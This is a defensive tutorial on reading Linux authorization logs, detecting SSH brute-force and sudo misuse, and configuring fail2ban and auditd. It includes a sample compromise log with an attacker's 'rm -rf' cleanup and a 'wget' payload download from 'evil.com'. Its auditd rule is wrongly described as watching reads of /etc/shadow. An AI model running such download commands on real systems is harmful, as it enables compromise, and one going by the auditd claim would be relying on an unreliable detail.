Introduction: Why Authorization Logs Are the First Line of Defense

Every action in a Linux system begins with authorization. Whether it's an interactive login via the console, an SSH connection, executing a command with sudo, or logging into a graphical interface – the kernel and services record these events in log files.

For a system administrator, the ability to read authorization logs is not just a skill; it's the foundation of digital hygiene. Sooner or later, every server faces automated scanners and bots trying to guess passwords. In this article, we'll explain where to find traces of attackers, how to distinguish legitimate logins from anomalies, and how to set up basic monitoring.

Chapter 1: Anatomy of Logging. Where to Look?

In modern distributions, there are two main approaches to storing logs:

  1. Traditional Syslog: Text files in the /var/log/ directory. Here, the auth or authpriv service is responsible for authorization logging.
  2. Systemd Journal: Binary logs, accessible via the journalctl command.

Where to Find the Crucial Lines?

  • Main file: /var/log/auth.log (Debian, Ubuntu, Mint).
  • Main file: /var/log/secure (RHEL, CentOS, Fedora, AlmaLinux).
  • Universal method (systemd): journalctl -u ssh.service or filter with grep for auth.

Pro Tip: When setting up Rsyslog, I always duplicate critical authorization logs to a remote server (Log Collector). If an attacker breaks in and deletes local logs, you have a backup copy.

Chapter 2: Read Logs Like a Detective. Analyzing Key Events

Each log entry consists of a timestamp, hostname, process, and the message itself. We are interested in the processes sshd, login, sudo, su, gdm-password, and the kernel (kernel).

2.1. SSH Monitoring (The Most Common Scenario)

SSH is the main gateway for remote administration and therefore the primary target of most attacks.

Successful Login: ```bash

View successful logins from the last day

grep "Accepted" /var/log/auth.log | grep "sshd" `` Example entry:Mar 26 14:35:21 web-server sshd[12345]: Accepted password for root from 192.168.1.100 port 54322 ssh2` Analysis: Here we see that user root successfully logged in from IP 192.168.1.100 using a password.

Failed Attempt (Brute-Force): bash grep "Failed password" /var/log/auth.log Example entry: Mar 26 14:36:45 web-server sshd[12346]: Failed password for invalid user admin from 45.155.205.144 port 33908 ssh2 Red Flag: A login attempt for a non-existent user admin from a foreign IP. This is almost always a scanner.

Analyzing "Invalid Users": If you see many attempts for users like test, ubuntu, user, mysql, it's a bot guessing common accounts. The presence of invalid user entries is 100% evidence of reconnaissance activity.

2.2. Who's Playing with sudo? (sudo and su)

Privilege escalation is a critical event. Even if an attacker logs in as a regular user, they will sooner or later try to execute sudo su -.

Successful sudo Usage: bash grep "sudo:" /var/log/auth.log Mar 26 14:40:01 web-server sudo: john : TTY=pts/0 ; PWD=/home/john ; USER=root ; COMMAND=/bin/bash Analysis: User john successfully executed the command /bin/bash with root privileges. If john shouldn't have sudo rights, this is a security incident.

Failed sudo (wrong password or no rights): Mar 26 14:41:23 web-server sudo: john : 3 incorrect password attempts ; TTY=pts/0 ; PWD=/home/john ; USER=root ; COMMAND=/bin/bash

Switching to Another User (su): Mar 26 14:45:01 web-server su: (to root) john on /dev/pts/0 su: pam_unix(su:auth): authentication failure; logname=john uid=1000 euid=0 tty=/dev/pts/0 ruser=john rhost= user=root — If there are many failure entries here, the user might be trying to guess the root password.

2.3. Session Start and End

It's important to know not only who logged in, but also when they logged out and what they did. This helps build a timeline of events.

Session Start: session opened for user root by (uid=0) Session End: session closed for user root

If a session is open and not closed, the process is still running. Check this with the who and ps aux commands.

Chapter 3: Hunter of Anomalies. Detecting Suspicious Patterns

Just reading logs is boring. Let's learn to analyze them.

3.1. Top 10 Attackers (Analysis by IP)

This command will show you which IP addresses have knocked on your server most often with incorrect passwords:

bash grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr | head -20 Explanation: We take the failed password logs, extract the IP address (usually the second-to-last field), sort them, and count unique occurrences. If you see an IP with over 1000 attempts, you can immediately block it in the firewall.

3.2. Geography of Attacks

Suppose you want to know where requests are coming from. Install the geoiplookup tool. A simple script can tell you whether it's a neighbor in the data center or a hacker from another country. An unusual geography for your business environment is a reason for concern.

3.3. Unusual Login Times

A person works in the office from 9 AM to 6 PM. If you see a successful login for user ivanov at 3 AM, and Ivan is not the on-call admin, it's a reason to check if his keys were stolen.

3.4. UID Jumps (Users)

Sometimes attackers create their own users. Check the logs for the creation of new accounts: bash grep "useradd" /var/log/auth.log grep "new user" /var/log/auth.log

Chapter 4: Automate Monitoring. Tools and Best Practices

It's tedious for a human to constantly look at logs. That's what daemons are for.

4.1. fail2ban – The Classic

Fail2ban analyzes authorization logs in real-time. As soon as it sees N failed attempts from an IP, it adds a rule to iptables/nftables and blocks the attacker.

Example SSH Configuration (/etc/fail2ban/jail.local): ini [sshd] enabled = true port = ssh filter = sshd logpath = /var/log/auth.log maxretry = 3 ; Ban after 3 failures bantime = 3600 ; For 1 hour findtime = 600 ; Within the last 10 minutes

4.2. Auditd (Deep Monitoring)

If you suspect the system is already compromised, syslog might not be enough. This is where auditd comes in.

It can track not only the fact of login but also which files the user read after logging in. A rule to monitor reading of the /etc/shadow file: bash auditctl -w /etc/shadow -p wa -k shadow_watch After this, the logs go to /var/log/audit/audit.log. Their analysis is more complex, but they contain more details (e.g., the command timestamp with microsecond precision and the full context).

4.3. Simple Slack/Telegram Alerts

You can set up a simple script that monitors tail -f /var/log/auth.log and sends a notification to a messenger whenever the word "Accepted" or "FAILED" appears for important users. This lets you know about suspicious activities faster than the customer can complain about slowdowns.

Chapter 5: Practical Exercise. Analyzing a Real Log

Imagine you open /var/log/auth.log and see the following scene:

Mar 27 03:12:01 myhost sshd[2341]: Failed password for invalid user oracle from 10.10.10.55 port 45123 ssh2 Mar 27 03:12:15 myhost sshd[2341]: Failed password for invalid user oracle from 10.10.10.55 port 45123 ssh2 Mar 27 03:12:30 myhost sshd[2341]: Failed password for invalid user root from 10.10.10.55 port 45123 ssh2 Mar 27 03:12:45 myhost sshd[2341]: Failed password for root from 10.10.10.55 port 45123 ssh2 Mar 27 03:13:01 myhost sshd[2341]: Accepted password for root from 10.10.10.55 port 45123 ssh2 Mar 27 03:13:02 myhost sudo: root : TTY=pts/0 ; PWD=/root ; USER=root ; COMMAND=/bin/rm -rf /tmp/.X11-unix Mar 27 03:13:10 myhost sudo: root : TTY=pts/0 ; PWD=/root ; USER=root ; COMMAND=/usr/bin/wget http://evil.com/script.sh

What happened here? 1. 03:12:01-03:12:30 — Brute-force attack on users oracle and root from IP 10.10.10.55 (likely an internal server, but it could be a spoofed IP or a network neighbor). 2. 03:12:45 — Last failed attempt for root. 3. 03:13:01 — Successful login for root from the same IP. fail2ban didn't trigger (too few attempts, or it's disabled). 4. 03:13:02 — Immediately after login, root deletes a directory in /tmp (possibly to cover tracks or hide a dropper). 5. 03:13:10 — Downloading a script from an external source.

Conclusion: The system is compromised. The root password was either guessed or already known to the attacker. The server must be immediately isolated from the network, and an incident investigation must begin (memory dump, log preservation, etc.).

Conclusion: Your Action Plan

To sleep soundly, make these your rules:

  1. Centralization: Forward all auth logs to a separate server (Graylog, ELK Stack, or simply syslog-ng).
  2. Blocking: Enable and configure fail2ban for SSH. This will repel 99% of automated attacks.
  3. Daily Analysis: Briefly review the top 10 failed login attempts and successful logins outside of working hours daily.
  4. Avoid Passwords: Use SSH keys (RSA/Ed25519) whenever possible. Logs for successful key-based logins (Accepted publickey) are much cleaner and harder to forge.

Authorization logs are your early warning system. Don't treat them as useless disk clutter, but as an invaluable source of information about the security of your infrastructure.